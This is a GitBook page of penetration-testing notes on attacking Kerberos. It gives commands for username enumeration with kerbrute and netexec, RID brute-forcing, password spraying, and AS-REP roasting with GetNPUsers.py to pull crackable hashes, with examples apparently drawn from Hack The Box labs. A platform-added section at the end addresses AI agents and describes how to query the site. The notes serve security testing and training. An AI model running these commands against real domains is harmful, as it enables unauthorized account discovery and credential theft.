> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/penetration-testing-notes/kerberos-88-tcp.md).

# Kerberos (88/tcp)

### Kerberos needs sync time between client and server

```
sudo ntpdate $IP
```

###

### Don't know username?

Bruteforce:

```
kerbrute userenum --dc $IP -d <domain> /usr/share/wordlist/SecLists/Usernames/xato-net-10-million-usernames.txt
```

Or you can identify/validate with netexec:

> make sure that you register the domain to /etc/hosts

```
netexec smb $IP -k -u '<username>' -p ''

# error:   
# exist --> "KDC_ERR_PREAUTH_FAILED"
# not exist --> "KDC_ERR_C_PRINCIPAL_UNKNOWN"
```

### RID Bruteforce

dump all account with known username:

```
netexec smb $IP -u 'guest' -p '' --rid-brute | tee output.txt


#sort the output
grep User output.txt| awk '{print $6}' | awk -F\\ '{print $2}' |sort -u |grep -v '\$$' |tr '[:upper:]' '[:lower:]'
```

### Do you have many user list from valid RID Enum?

(all users must lower case)

```
netexec smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success
```

### Do you have username?

Collect:

1. Domain
2. Username
3. set domain to /etc/hosts

**GetNPUsers.py** can be used to retrieve domain users who do not have "**Do not require Kerberos preauthentication**" set and ask for their TGTs without knowing their passwords. It is then possible to attempt to crack the session key sent along the ticket to retrieve the user password.

```
GetNPUsers.py -no-pass <domain>/<username>

GetNPUsers.py -no-pass realcorp.htb/j.nakazawa
```

do you have a lot of usernames?

```
GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
```

<figure><img src="/files/CmcAF2rXegIKFuF0hfkS" alt=""><figcaption><p>result</p></figcaption></figure>

Then crack the hash -> <https://hacker-mind.gitbook.io/hacker-mind/exploit/cracking#kerberost-hash>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/penetration-testing-notes/kerberos-88-tcp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
